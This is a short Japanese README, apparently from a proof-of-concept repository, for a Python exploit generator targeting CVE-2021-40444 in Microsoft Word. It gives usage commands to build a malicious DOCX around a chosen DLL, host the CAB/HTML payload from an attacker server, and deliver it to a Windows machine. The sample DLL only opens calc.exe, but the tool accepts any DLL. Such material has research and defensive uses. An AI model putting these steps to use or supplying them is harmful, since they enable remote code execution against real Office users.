
CVE-2021-40444を悪用する悪意のあるDOCXファイルを生成し、細工されたCABおよびHTMLペイロードを介してリモートコード実行を実現します。配信用の組み込みホスティングサーバーも備えています。
悪意のあるdocxジェネレーターで、CVE-2021-40444(Microsoft Office Wordのリモートコード実行)を悪用します。
このスクリプトの作成は、実際に使用されたサンプル(docxファイル:938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52)のリバースエンジニアリングに基づいています。
まずlcabをインストールする必要があります(sudo apt-get install lcab)
手動での再現手順はREPRODUCE.mdを参照してください。
生成されたcabが機能しない場合は、exploit.htmlのURLをcalc.cabに指定してみてください。
まず、DLLを指定して悪意のあるdocxドキュメントを生成します。test/calc.dllにあるDLLを使用できます。これはsystem()の呼び出しからcalc.exeを起動するだけのものです。
python3 exploit.py generate test/calc.dll http://<SRV IP>

悪意のあるdocxを生成したら(out/に出力されます)、サーバーをセットアップできます。
sudo python3 exploit.py host 80

最後に、Windows仮想マシンでdocxを試してください。
